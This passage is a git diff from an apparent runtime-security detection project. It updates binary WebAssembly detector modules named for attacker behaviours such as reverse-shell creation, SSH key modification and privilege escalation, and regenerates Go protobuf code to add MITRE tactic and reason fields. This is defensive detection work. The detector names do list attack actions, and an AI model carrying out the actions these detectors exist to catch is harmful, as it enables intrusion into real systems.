a/event-processor/deploy/CS_RT_KERNEL_MODULE.wasm and b/event-processor/deploy/CS_RT_KERNEL_MODULE.wasm differ diff --git a/event-processor/deploy/CS_RT_LD_PRELOAD.wasm b/event-processor/deploy/CS_RT_LD_PRELOAD.wasm index f5912055..e24ef6ad 100644 Binary files a/event-processor/deploy/CS_RT_LD_PRELOAD.wasm and b/event-processor/deploy/CS_RT_LD_PRELOAD.wasm differ diff --git a/event-processor/deploy/CS_RT_MOUNT_DEV.wasm b/event-processor/deploy/CS_RT_MOUNT_DEV.wasm index 3c996e8c..a3eb0b81 100644 Binary files a/event-processor/deploy/CS_RT_MOUNT_DEV.wasm and b/event-processor/deploy/CS_RT_MOUNT_DEV.wasm differ diff --git a/event-processor/deploy/CS_RT_OPENSSL_CUSTOM_LIB_LOAD.wasm b/event-processor/deploy/CS_RT_OPENSSL_CUSTOM_LIB_LOAD.wasm deleted file mode 100644 index 192fac01..00000000 Binary files a/event-processor/deploy/CS_RT_OPENSSL_CUSTOM_LIB_LOAD.wasm and /dev/null differ diff --git a/event-processor/deploy/CS_RT_OPENSSL_FILE_ACCESS.wasm b/event-processor/deploy/CS_RT_OPENSSL_FILE_ACCESS.wasm deleted file mode 100644 index f6bee457..00000000 Binary files a/event-processor/deploy/CS_RT_OPENSSL_FILE_ACCESS.wasm and /dev/null differ diff --git a/event-processor/deploy/CS_RT_OPENSSL_SERVER_RUN.wasm b/event-processor/deploy/CS_RT_OPENSSL_SERVER_RUN.wasm deleted file mode 100644 index 4030e463..00000000 Binary files a/event-processor/deploy/CS_RT_OPENSSL_SERVER_RUN.wasm and /dev/null differ diff --git a/event-processor/deploy/CS_RT_OPENSSL_USE.wasm b/event-processor/deploy/CS_RT_OPENSSL_USE.wasm new file mode 100644 index 00000000..c56c54ba Binary files /dev/null and b/event-processor/deploy/CS_RT_OPENSSL_USE.wasm differ diff --git a/event-processor/deploy/CS_RT_PRIV_ESC.wasm b/event-processor/deploy/CS_RT_PRIV_ESC.wasm index 7d9617b9..1d135325 100644 Binary files a/event-processor/deploy/CS_RT_PRIV_ESC.wasm and b/event-processor/deploy/CS_RT_PRIV_ESC.wasm differ diff --git a/event-processor/deploy/CS_RT_PROCESS_CAP_RAISE.wasm b/event-processor/deploy/CS_RT_PROCESS_CAP_RAISE.wasm index eb844632..c26e32c8 100644 Binary files a/event-processor/deploy/CS_RT_PROCESS_CAP_RAISE.wasm and b/event-processor/deploy/CS_RT_PROCESS_CAP_RAISE.wasm differ diff --git a/event-processor/deploy/CS_RT_PTRACE_CODE_INJ.wasm b/event-processor/deploy/CS_RT_PTRACE_CODE_INJ.wasm deleted file mode 100644 index 648a47e3..00000000 Binary files a/event-processor/deploy/CS_RT_PTRACE_CODE_INJ.wasm and /dev/null differ diff --git a/event-processor/deploy/CS_RT_PTRACE_USE.wasm b/event-processor/deploy/CS_RT_PTRACE_USE.wasm new file mode 100644 index 00000000..f448b43d Binary files /dev/null and b/event-processor/deploy/CS_RT_PTRACE_USE.wasm differ diff --git a/event-processor/deploy/CS_RT_RAW_SOCKETS.wasm b/event-processor/deploy/CS_RT_RAW_SOCKETS.wasm index 3047a360..2f6c5138 100644 Binary files a/event-processor/deploy/CS_RT_RAW_SOCKETS.wasm and b/event-processor/deploy/CS_RT_RAW_SOCKETS.wasm differ diff --git a/event-processor/deploy/CS_RT_RECON_TOOLS.wasm b/event-processor/deploy/CS_RT_RECON_TOOLS.wasm index 706fd5cc..ab682cfe 100644 Binary files a/event-processor/deploy/CS_RT_RECON_TOOLS.wasm and b/event-processor/deploy/CS_RT_RECON_TOOLS.wasm differ diff --git a/event-processor/deploy/CS_RT_REVERSE_SHELL_CREATE.wasm b/event-processor/deploy/CS_RT_REVERSE_SHELL_CREATE.wasm index 18585e37..37d65e35 100644 Binary files a/event-processor/deploy/CS_RT_REVERSE_SHELL_CREATE.wasm and b/event-processor/deploy/CS_RT_REVERSE_SHELL_CREATE.wasm differ diff --git a/event-processor/deploy/CS_RT_REVERSE_SHELL_USE.wasm b/event-processor/deploy/CS_RT_REVERSE_SHELL_USE.wasm index 5c4c0c2b..d45cbfb3 100644 Binary files a/event-processor/deploy/CS_RT_REVERSE_SHELL_USE.wasm and b/event-processor/deploy/CS_RT_REVERSE_SHELL_USE.wasm differ diff --git a/event-processor/deploy/CS_RT_REV_ENG.wasm b/event-processor/deploy/CS_RT_REV_ENG.wasm deleted file mode 100644 index f534a317..00000000 Binary files a/event-processor/deploy/CS_RT_REV_ENG.wasm and /dev/null differ diff --git a/event-processor/deploy/CS_RT_SCHED_TASK_MOD.wasm b/event-processor/deploy/CS_RT_SCHED_TASK_MOD.wasm index 342e5f20..9d31ae3b 100644 Binary files a/event-processor/deploy/CS_RT_SCHED_TASK_MOD.wasm and b/event-processor/deploy/CS_RT_SCHED_TASK_MOD.wasm differ diff --git a/event-processor/deploy/CS_RT_SSH_KEY_MODIFY.wasm b/event-processor/deploy/CS_RT_SSH_KEY_MODIFY.wasm index 86ce6c53..2c5b2c5d 100644 Binary files a/event-processor/deploy/CS_RT_SSH_KEY_MODIFY.wasm and b/event-processor/deploy/CS_RT_SSH_KEY_MODIFY.wasm differ diff --git a/event-processor/deploy/CS_RT_SSH_TUNNEL_CREATE.wasm b/event-processor/deploy/CS_RT_SSH_TUNNEL_CREATE.wasm index 6334324f..e90fad3a 100644 Binary files a/event-processor/deploy/CS_RT_SSH_TUNNEL_CREATE.wasm and b/event-processor/deploy/CS_RT_SSH_TUNNEL_CREATE.wasm differ diff --git a/event-processor/deploy/CS_RT_SSH_TUNNEL_USE.wasm b/event-processor/deploy/CS_RT_SSH_TUNNEL_USE.wasm index b5b4c955..d0e940d6 100644 Binary files a/event-processor/deploy/CS_RT_SSH_TUNNEL_USE.wasm and b/event-processor/deploy/CS_RT_SSH_TUNNEL_USE.wasm differ diff --git a/event-processor/deploy/CS_RT_SUSP_FILE_READ.wasm b/event-processor/deploy/CS_RT_SUSP_FILE_READ.wasm index 0d4c0948..c519373e 100644 Binary files a/event-processor/deploy/CS_RT_SUSP_FILE_READ.wasm and b/event-processor/deploy/CS_RT_SUSP_FILE_READ.wasm differ diff --git a/event-processor/deploy/CS_RT_SUSP_FILE_WRITE.wasm b/event-processor/deploy/CS_RT_SUSP_FILE_WRITE.wasm index 4b03f0fc..104bec69 100644 Binary files a/event-processor/deploy/CS_RT_SUSP_FILE_WRITE.wasm and b/event-processor/deploy/CS_RT_SUSP_FILE_WRITE.wasm differ diff --git a/event-processor/deploy/CS_RT_SUSP_SHELL.wasm b/event-processor/deploy/CS_RT_SUSP_SHELL.wasm index 8899d602..3d25c1ed 100644 Binary files a/event-processor/deploy/CS_RT_SUSP_SHELL.wasm and b/event-processor/deploy/CS_RT_SUSP_SHELL.wasm differ diff --git a/event-processor/deploy/CS_RT_SUSP_TOOLS.wasm b/event-processor/deploy/CS_RT_SUSP_TOOLS.wasm new file mode 100644 index 00000000..f78769d6 Binary files /dev/null and b/event-processor/deploy/CS_RT_SUSP_TOOLS.wasm differ diff --git a/event-processor/detector/api/detector.pb.go b/event-processor/detector/api/detector.pb.go index 4329a099..5ce641aa 100644 --- a/event-processor/detector/api/detector.pb.go +++ b/event-processor/detector/api/detector.pb.go @@ -1,14 +1,13 @@ // Code generated by protoc-gen-go-plugin. DO NOT EDIT. // versions: // protoc-gen-go-plugin v0.1.0 -// protoc v4.25.3 +// protoc v7.34.1 // source: detector.proto package api import ( context "context" - tetragon "github.com/runtime-radar/runtime-radar/event-processor/detector/api/tetragon" protoreflect "google.golang.org/protobuf/reflect/protoreflect" protoimpl "google.golang.org/protobuf/runtime/protoimpl" @@ -55,6 +54,35 @@ func (x DetectResp_Severity) Enum() *DetectResp_Severity { return p } +// MitreTactic represents a tactic from Mitre matrix that are covered by a detector. +// Since it's possible for detector to cover only specific techniques, their ids are listed explicitly. +type MitreTactic struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"` + Techniques []string `protobuf:"bytes,2,rep,name=techniques,proto3" json:"techniques,omitempty"` // list of techniques' ids +} + +func (x *MitreTactic) ProtoReflect() protoreflect.Message { + panic(`not implemented`) +} + +func (x *MitreTactic) GetId() string { + if x != nil { + return x.Id + } + return "" +} + +func (x *MitreTactic) GetTechniques() []string { + if x != nil { + return x.Techniques + } + return nil +} + type InfoReq struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -77,6 +105,8 @@ type InfoResp struct { Author string `protobuf:"bytes,5,opt,name=author,proto3" json:"author,omitempty"` Contact string `protobuf:"bytes,6,opt,name=contact,proto3" json:"contact,omitempty"` License string `protobuf:"bytes,7,opt,name=license,proto3" json:"license,omitempty"` + // tactics_covered is an optional list of Mitre tactics that are covered by the detector. + TacticsCovered []*MitreTactic `protobuf:"bytes,8,rep,name=tactics_covered,json=tacticsCovered,proto3" json:"tactics_covered,omitempty"` } func (x *InfoResp) ProtoReflect() protoreflect.Message { @@ -132,6 +162,13 @@ func (x *InfoResp) GetLicense() string { return "" } +func (x *InfoResp) GetTacticsCovered() []*MitreTactic { + if x != nil { + return x.TacticsCovered + } + return nil +} + type DetectReq struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -157,6 +194,10 @@ type DetectResp struct { unknownFields protoimpl.UnknownFields Severity DetectResp_Severity `protobuf:"varint,8,opt,name=severity,proto3,enum=detector.DetectResp_Severity" json:"severity,omitempty"` + // reason is an optional human-readable message that describes what exactly was detected. + Reason string `protobuf:"bytes,9,opt,name=reason,proto3" json:"reason,omitempty"` + // tactics_covered is an optional list of Mitre tactics that are covered via detect. + TacticsCovered []*MitreTactic `protobuf:"bytes,10,rep,name=tactics_covered,json=tacticsCovered,proto3" json:"tactics_covered,omitempty"` } func (x *DetectResp) ProtoReflect() protoreflect.Message { @@ -170,6 +211,20 @@ func (x *DetectResp) GetSeverity() DetectResp_Severity { return DetectResp_NONE } +func (x *DetectResp) GetReason() string { + if x != nil { + return x.Reason + } + return "" +} + +func (x *DetectResp) GetTacticsCovered() []*MitreTactic { + if x != nil { + return x.TacticsCovered + } + return nil +} + type TriggerCriteriaReq struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache diff --git a/event-processor/detector/api/detector.proto b/event-processor/detector/api/detector.proto index 08bbb7fa..f1e90aaa 100644 --- a/event-processor/detector/api/detector.proto +++ b/event-processor/detector/api/detector.proto @@ -1,7 +1,6 @@ syntax = "proto3"; package detector; -import "google/protobuf/empty.proto"; import "tetragon/events.proto"; option go_package = "./api"; @@ -14,6 +13,13 @@ service Detector { rpc TriggerCriteria(TriggerCriteriaReq) returns (TriggerCriteriaResp) {} } +// MitreTactic represents a tactic from Mitre matrix that are covered by a detector. +// Since it's possible for detector to cover only specific techniques, their ids are listed explicitly. +message MitreTactic { + string id = 1; + repeated string techniques = 2; // list of techniques' ids +} + message InfoReq {} message InfoResp { @@ -24,6 +30,8 @@ message InfoResp { string author = 5; string contact = 6; string license = 7; + // tactics_covered is an optional list of Mitre tactics that are covered by the detector. + repeated MitreTactic tactics_covered = 8; } message DetectReq { @@ -39,6 +47,10 @@ message DetectResp { CRITICAL = 4; } Severity severity = 8; + // reason is an optional human-readable message that describes what exactly was detected. + string reason = 9; + // tactics_covered is an optional list of Mitre tactics that are covered via detect. + repeated MitreTactic tactics_covered = 10; } message TriggerCriteriaReq {} diff --git a/event-processor/detector/api/detector_host.pb.go b/event-processor/detector/api/detector_host.pb.go index e683058e..a9991cec 100644 --- a/event-processor/detector/api/detector_host.pb.go +++ b/event-processor/detector/api/detector_host.pb.go @@ -1,9 +1,9 @@ -//go:build !tinygo.wasm +//go:build !wasip1 // Code generated by protoc-gen-go-plugin. DO NOT EDIT. // versions: // protoc-gen-go-plugin v0.1.0 -// protoc v4.25.3 +// protoc v7.34.1 // source: detector.proto package api @@ -15,6 +15,7 @@ import ( wazero "github.com/tetratelabs/wazero" api "github.com/tetratelabs/wazero/api" sys "github.com/tetratelabs/wazero/sys" + io "io" os "os" ) @@ -28,7 +29,7 @@ type DetectorPlugin struct { func NewDetectorPlugin(ctx context.Context, opts ...wazeroConfigOption) (*DetectorPlugin, error) { o := &WazeroConfig{ newRuntime: DefaultWazeroRuntime(), - moduleConfig: wazero.NewModuleConfig(), + moduleConfig: wazero.NewModuleConfig().WithStartFunctions("_initialize"), } for _, opt := range opts { @@ -46,16 +47,23 @@ type detector interface { Detector } -func (p *DetectorPlugin) Load(ctx context.Context, pluginPath string) (detector, error) { +func (p *DetectorPlugin) LoadPath(ctx context.Context, pluginPath string) (detector, error) { b, err := os.ReadFile(pluginPath) if err != nil { return nil, err } + return p.LoadBinary(ctx, b) +} +func (p *DetectorPlugin) LoadReader(ctx context.Context, reader io.Reader) (detector, error) { + b, err := io.ReadAll(reader) + if err != nil { + return nil, err + } return p.LoadBinary(ctx, b) } -func (p *DetectorPlugin) LoadBinary(ctx context.Context, pluginBinary []byte) (detector, error) { +func (p *DetectorPlugin) LoadBinary(ctx context.Context, b []byte) (detector, error) { // Create a new runtime so that multiple modules will not conflict r, err := p.newRuntime(ctx) if err != nil { @@ -63,7 +71,7 @@ func (p *DetectorPlugin) LoadBinary(ctx context.Context, pluginBinary []byte) (d } // Compile the WebAssembly module using the default configuration. - code, err := r.CompileModule(ctx, pluginBinary) + code, err := r.CompileModule(ctx, b) if err != nil { return nil, err } @@ -160,7 +168,7 @@ func (p *detectorPlugin) Info(ctx context.Context, request *InfoReq) (*InfoResp, return nil, err } dataPtr = results[0] - // This pointer is managed by TinyGo, but TinyGo is unaware of external usage. + // This pointer is managed by the Wasm module, which is unaware of external usage. // So, we have to free it when finished defer p.free.Call(ctx, dataPtr) @@ -183,11 +191,6 @@ func (p *detectorPlugin) Info(ctx context.Context, request *InfoReq) (*InfoResp, resSize &^= (1 << 31) } - // We don't need the memory after deserialization: make sure it is freed. - if resPtr != 0 { - defer p.free.Call(ctx, uint64(resPtr)) - } - // The pointer is a linear memory offset, which is where we write the name. bytes, ok := p.module.Memory().Read(resPtr, resSize) if !ok { @@ -221,7 +224,7 @@ func (p *detectorPlugin) Detect(ctx context.Context, request *DetectReq) (*Detec return nil, err } dataPtr = results[0] - // This pointer is managed by TinyGo, but TinyGo is unaware of external usage. + // This pointer is managed by the Wasm module, which is unaware of external usage. // So, we have to free it when finished defer p.free.Call(ctx, dataPtr) @@ -244,11 +247,6 @@ func (p *detectorPlugin) Detect(ctx context.Context, request *DetectReq) (*Detec resSize &^= (1 << 31) } - // We don't need the memory after deserialization: make sure it is freed. - if resPtr != 0 { - defer p.free.Call(ctx, uint64(resPtr)) - } - // The pointer is a linear memory offset, which is where we write the name. bytes, ok := p.module.Memory().Read(resPtr, resSize) if !ok { @@ -282,7 +280,7 @@ func (p *detectorPlugin) TriggerCriteria(ctx context.Context, request *TriggerCr return nil, err } dataPtr = results[0] - // This pointer is managed by TinyGo, but TinyGo is unaware of external usage. + // This pointer is managed by the Wasm module, which is unaware of external usage. // So, we have to free it when finished defer p.free.Call(ctx, dataPtr) @@ -305,11 +303,6 @@ func (p *detectorPlugin) TriggerCriteria(ctx context.Context, request *TriggerCr resSize &^= (1 << 31) } - // We don't need the memory after deserialization: make sure it is freed. - if resPtr != 0 { - defer p.free.Call(ctx, uint64(resPtr)) - } - // The pointer is a linear memory offset, which is where we write the name. bytes, ok := p.module.Memory().Read(resPtr, resSize) if !ok { diff --git a/event-processor/detector/api/detector_options.pb.go b/event-processor/detector/api/detector_options.pb.go index 94bcb28c..598069ac 100644 --- a/event-processor/detector/api/detector_options.pb.go +++ b/event-processor/detector/api/detector_options.pb.go @@ -1,9 +1,9 @@ -//go:build !tinygo.wasm +//go:build !wasip1 // Code generated by protoc-gen-go-plugin. DO NOT EDIT. // versions: // protoc-gen-go-plugin v0.1.0 -// protoc v4.25.3 +// protoc v7.34.1 // source: detector.proto package api diff --git a/event-processor/detector/api/detector_plugin.pb.go b/event-processor/detector/api/detector_plugin.pb.go index f41a1d11..8e182a03 100644 --- a/event-processor/detector/api/detector_plugin.pb.go +++ b/event-processor/detector/api/detector_plugin.pb.go @@ -1,21 +1,21 @@ -//go:build tinygo.wasm +//go:build wasip1 // Code generated by protoc-gen-go-plugin. DO NOT EDIT. // versions: // protoc-gen-go-plugin v0.1.0 -// protoc v4.25.3 +// protoc v7.34.1 // source: detector.proto package api import ( context "context" - wasm "github.com/knqyf263/go-plugin/wasm" + wasm "github.com/runtime-radar/go-plugin/wasm" ) const DetectorPluginAPIVersion = 1 -//export detector_api_version +//go:wasmexport detector_api_version func _detector_api_version() uint64 { return DetectorPluginAPIVersion } @@ -26,7 +26,7 @@ func RegisterDetector(p Detector) { detector = p } -//export detector_info +//go:wasmexport detector_info func _detector_info(ptr, size uint32) uint64 { b := wasm.PtrToByte(ptr, size) req := new(InfoReq) @@ -50,7 +50,7 @@ func _detector_info(ptr, size uint32) uint64 { return (uint64(ptr) << uint64(32)) | uint64(size) } -//export detector_detect +//go:wasmexport detector_detect func _detector_detect(ptr, size uint32) uint64 { b := wasm.PtrToByte(ptr, size) req := new(DetectReq) @@ -74,7 +74,7 @@ func _detector_detect(ptr, size uint32) uint64 { return (uint64(ptr) << uint64(32)) | uint64(size) } -//export detector_trigger_criteria +//go:wasmexport detector_trigger_criteria func _detector_trigger_criteria(ptr, size uint32) uint64 { b := wasm.PtrToByte(ptr, size) req := new(TriggerCriteriaReq) diff --git a/event-processor/detector/api/detector_vtproto.pb.go b/event-processor/detector/api/detector_vtproto.pb.go index 5aa09bdc..c6825286 100644 --- a/event-processor/detector/api/detector_vtproto.pb.go +++ b/event-processor/detector/api/detector_vtproto.pb.go @@ -1,7 +1,7 @@ // Code generated by protoc-gen-go-plugin. DO NOT EDIT. // versions: // protoc-gen-go-plugin v0.1.0 -// protoc v4.25.3 +// protoc v7.34.1 // source: detector.proto package api @@ -9,9 +9,9 @@ package api import ( fmt "fmt" tetragon "github.com/runtime-radar/runtime-radar/event-processor/detector/api/tetragon" + protohelpers "github.com/runtime-radar/vtprotobuf/protohelpers" protoimpl "google.golang.org/protobuf/runtime/protoimpl" io "io" - bits "math/bits" ) const ( @@ -21,6 +21,55 @@ const ( _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) ) +func (m *MitreTactic) MarshalVT() (dAtA []byte, err error) { + if m == nil { + return nil, nil + } + size := m.SizeVT() + dAtA = make([]byte, size) + n, err := m.MarshalToSizedBufferVT(dAtA[:size]) + if err != nil { + return nil, err + } + return dAtA[:n], nil +} + +func (m *MitreTactic) MarshalToVT(dAtA []byte) (int, error) { + size := m.SizeVT() + return m.MarshalToSizedBufferVT(dAtA[:size]) +} + +func (m *MitreTactic) MarshalToSizedBufferVT(dAtA []byte) (int, error) { + if m == nil { + return 0, nil + } + i := len(dAtA) + _ = i + var l int + _ = l + if m.unknownFields != nil { + i -= len(m.unknownFields) + copy(dAtA[i:], m.unknownFields) + } + if len(m.Techniques) > 0 { + for iNdEx := len(m.Techniques) - 1; iNdEx >= 0; iNdEx-- { + i -= len(m.Techniques[iNdEx]) + copy(dAtA[i:], m.Techniques[iNdEx]) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Techniques[iNdEx]))) + i-- + dAtA[i] = 0x12 + } + } + if len(m.Id) > 0 { + i -= len(m.Id) + copy(dAtA[i:], m.Id) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Id))) + i-- + dAtA[i] = 0xa + } + return len(dAtA) - i, nil +} + func (m *InfoReq) MarshalVT() (dAtA []byte, err error) { if m == nil { return nil, nil @@ -84,50 +133,62 @@ func (m *InfoResp) MarshalToSizedBufferVT(dAtA []byte) (int, error) { i -= len(m.unknownFields) copy(dAtA[i:], m.unknownFields) } + if len(m.TacticsCovered) > 0 { + for iNdEx := len(m.TacticsCovered) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.TacticsCovered[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x42 + } + } if len(m.License) > 0 { i -= len(m.License) copy(dAtA[i:], m.License) - i = encodeVarint(dAtA, i, uint64(len(m.License))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.License))) i-- dAtA[i] = 0x3a } if len(m.Contact) > 0 { i -= len(m.Contact) copy(dAtA[i:], m.Contact) - i = encodeVarint(dAtA, i, uint64(len(m.Contact))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Contact))) i-- dAtA[i] = 0x32 } if len(m.Author) > 0 { i -= len(m.Author) copy(dAtA[i:], m.Author) - i = encodeVarint(dAtA, i, uint64(len(m.Author))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Author))) i-- dAtA[i] = 0x2a } if m.Version != 0 { - i = encodeVarint(dAtA, i, uint64(m.Version)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Version)) i-- dAtA[i] = 0x20 } if len(m.Description) > 0 { i -= len(m.Description) copy(dAtA[i:], m.Description) - i = encodeVarint(dAtA, i, uint64(len(m.Description))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Description))) i-- dAtA[i] = 0x1a } if len(m.Name) > 0 { i -= len(m.Name) copy(dAtA[i:], m.Name) - i = encodeVarint(dAtA, i, uint64(len(m.Name))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Name))) i-- dAtA[i] = 0x12 } if len(m.Id) > 0 { i -= len(m.Id) copy(dAtA[i:], m.Id) - i = encodeVarint(dAtA, i, uint64(len(m.Id))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Id))) i-- dAtA[i] = 0xa } @@ -170,7 +231,7 @@ func (m *DetectReq) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0xa } @@ -207,8 +268,27 @@ func (m *DetectResp) MarshalToSizedBufferVT(dAtA []byte) (int, error) { i -= len(m.unknownFields) copy(dAtA[i:], m.unknownFields) } + if len(m.TacticsCovered) > 0 { + for iNdEx := len(m.TacticsCovered) - 1; iNdEx >= 0; iNdEx-- { + size, err := m.TacticsCovered[iNdEx].MarshalToSizedBufferVT(dAtA[:i]) + if err != nil { + return 0, err + } + i -= size + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) + i-- + dAtA[i] = 0x52 + } + } + if len(m.Reason) > 0 { + i -= len(m.Reason) + copy(dAtA[i:], m.Reason) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Reason))) + i-- + dAtA[i] = 0x4a + } if m.Severity != 0 { - i = encodeVarint(dAtA, i, uint64(m.Severity)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Severity)) i-- dAtA[i] = 0x40 } @@ -282,7 +362,7 @@ func (m *TriggerCriteriaResp_FuncNames) MarshalToSizedBufferVT(dAtA []byte) (int for iNdEx := len(m.FuncNames) - 1; iNdEx >= 0; iNdEx-- { i -= len(m.FuncNames[iNdEx]) copy(dAtA[i:], m.FuncNames[iNdEx]) - i = encodeVarint(dAtA, i, uint64(len(m.FuncNames[iNdEx]))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.FuncNames[iNdEx]))) i-- dAtA[i] = 0xa } @@ -329,15 +409,15 @@ func (m *TriggerCriteriaResp) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return 0, err } i -= size - i = encodeVarint(dAtA, i, uint64(size)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(size)) i-- dAtA[i] = 0x12 i -= len(k) copy(dAtA[i:], k) - i = encodeVarint(dAtA, i, uint64(len(k))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(k))) i-- dAtA[i] = 0xa - i = encodeVarint(dAtA, i, uint64(baseI-i)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(baseI-i)) i-- dAtA[i] = 0xa } @@ -345,17 +425,26 @@ func (m *TriggerCriteriaResp) MarshalToSizedBufferVT(dAtA []byte) (int, error) { return len(dAtA) - i, nil } -func encodeVarint(dAtA []byte, offset int, v uint64) int { - offset -= sov(v) - base := offset - for v >= 1<<7 { - dAtA[offset] = uint8(v&0x7f | 0x80) - v >>= 7 - offset++ - } - dAtA[offset] = uint8(v) - return base +func (m *MitreTactic) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Id) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if len(m.Techniques) > 0 { + for _, s := range m.Techniques { + l = len(s) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + } + n += len(m.unknownFields) + return n } + func (m *InfoReq) SizeVT() (n int) { if m == nil { return 0 @@ -374,30 +463,36 @@ func (m *InfoResp) SizeVT() (n int) { _ = l l = len(m.Id) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Name) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Description) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } if m.Version != 0 { - n += 1 + sov(uint64(m.Version)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Version)) } l = len(m.Author) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.Contact) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } l = len(m.License) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if len(m.TacticsCovered) > 0 { + for _, e := range m.TacticsCovered { + l = e.SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } } n += len(m.unknownFields) return n @@ -411,7 +506,7 @@ func (m *DetectReq) SizeVT() (n int) { _ = l if m.Event != nil { l = m.Event.SizeVT() - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -424,7 +519,17 @@ func (m *DetectResp) SizeVT() (n int) { var l int _ = l if m.Severity != 0 { - n += 1 + sov(uint64(m.Severity)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Severity)) + } + l = len(m.Reason) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if len(m.TacticsCovered) > 0 { + for _, e := range m.TacticsCovered { + l = e.SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } } n += len(m.unknownFields) return n @@ -449,7 +554,7 @@ func (m *TriggerCriteriaResp_FuncNames) SizeVT() (n int) { if len(m.FuncNames) > 0 { for _, s := range m.FuncNames { l = len(s) - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } n += len(m.unknownFields) @@ -470,20 +575,129 @@ func (m *TriggerCriteriaResp) SizeVT() (n int) { if v != nil { l = v.SizeVT() } - l += 1 + sov(uint64(l)) - mapEntrySize := 1 + len(k) + sov(uint64(len(k))) + l - n += mapEntrySize + 1 + sov(uint64(mapEntrySize)) + l += 1 + protohelpers.SizeOfVarint(uint64(l)) + mapEntrySize := 1 + len(k) + protohelpers.SizeOfVarint(uint64(len(k))) + l + n += mapEntrySize + 1 + protohelpers.SizeOfVarint(uint64(mapEntrySize)) } } n += len(m.unknownFields) return n } -func sov(x uint64) (n int) { - return (bits.Len64(x|1) + 6) / 7 -} -func soz(x uint64) (n int) { - return sov(uint64((x << 1) ^ uint64((int64(x) >> 63)))) +func (m *MitreTactic) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: MitreTactic: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: MitreTactic: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Id", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Id = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Techniques", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + 